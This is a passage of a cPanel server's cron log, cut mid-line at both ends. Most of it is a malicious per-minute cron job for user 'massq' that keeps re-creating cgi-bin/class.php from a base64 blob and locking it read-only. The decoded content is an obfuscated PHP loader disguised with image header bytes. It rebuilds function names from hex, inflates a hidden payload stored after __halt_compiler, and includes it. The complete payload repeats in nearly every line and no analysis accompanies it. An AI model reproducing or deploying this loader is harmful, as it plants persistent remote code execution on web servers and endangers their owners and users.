JRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:50:01 server CROND[26674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 08:50:01 server CROND[26676]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 08:50:01 server CROND[26677]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 08:50:01 server CROND[26678]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 08:50:01 server CROND[26679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:51:01 server CROND[26831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:52:01 server CROND[26897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:53:01 server CROND[27071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:54:01 server CROND[27128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:55:01 server CROND[27243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 08:55:01 server CROND[27244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:55:01 server CROND[27245]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 08:56:01 server CROND[27372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:57:01 server CROND[27445]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 08:57:01 server CROND[27444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:58:01 server CROND[27584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 08:59:01 server CROND[27713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:00:01 server CROND[27780]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 09:00:01 server CROND[27782]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Apr 10 09:00:01 server CROND[27784]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 09:00:01 server CROND[27785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:00:01 server CROND[27786]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 09:01:01 server CROND[27930]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 09:01:01 server CROND[27931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:01:01 server run-parts(/etc/cron.hourly)[27930]: starting 0anacron
Apr 10 09:01:01 server run-parts(/etc/cron.hourly)[27943]: finished 0anacron
Apr 10 09:02:01 server CROND[28018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:03:01 server CROND[28094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 